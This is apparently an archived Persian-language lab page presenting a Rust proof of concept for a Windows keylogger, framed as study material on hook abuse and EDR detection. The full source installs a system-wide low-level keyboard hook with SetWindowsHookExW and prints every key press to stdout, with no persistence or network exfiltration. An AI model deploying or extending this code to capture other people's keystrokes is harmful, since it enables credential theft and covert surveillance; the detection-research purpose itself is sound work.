شناسه آزمایش: 001
اثبات مفهوم ثبت فشردن کلیدها با Rust
بایگانیشدهنمونه آموزشی ثبت فشردن کلیدها در Windows که کاربرد SetWindowsHookEx و زنجیرهسازی درست هوکها را برای تحلیل تشخیص نشان میدهد.
هدف
شناخت سوءاستفاده از هوکهای پیام Windows برای رهگیری اطلاعات ورود و بررسی نحوه تشخیص تزریق هوک توسط EDR.
محدودیتها
فقط برای آموزش. پس از راهاندازی دوباره باقی نمیماند و خروجی را فقط در stdout ثبت میکند.
- Rust
- WinAPI
- Unsafe
کد منبع · زبان اصلیsrc/main.rs
1use std::ptr;2use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};3use winapi::shared::windef::HHOOK;4use winapi::um::winuser::{5 CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,6 TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,7};89static mut HOOK: HHOOK = ptr::null_mut();1011unsafe extern "system" fn keyboard_proc(12 n_code: i32,13 w_param: WPARAM,14 l_param: LPARAM,15) -> LRESULT {16 if n_code >= 0 {17 let kb = &*(l_param as *const KBDLLHOOKSTRUCT);18 // WM_KEYDOWN = 0x010019 if w_param as u32 == 0x0100 {20 println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);21 }22 }23 CallNextHookEx(HOOK, n_code, w_param, l_param)24}2526fn main() {27 unsafe {28 HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);29 assert!(!HOOK.is_null(), "Failed to install hook");3031 let mut msg = std::mem::zeroed();32 while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {33 TranslateMessage(&msg);34 DispatchMessageW(&msg);35 }36 UnhookWindowsHookEx(HOOK);37 }38}کد فقطخواندنیUTF-8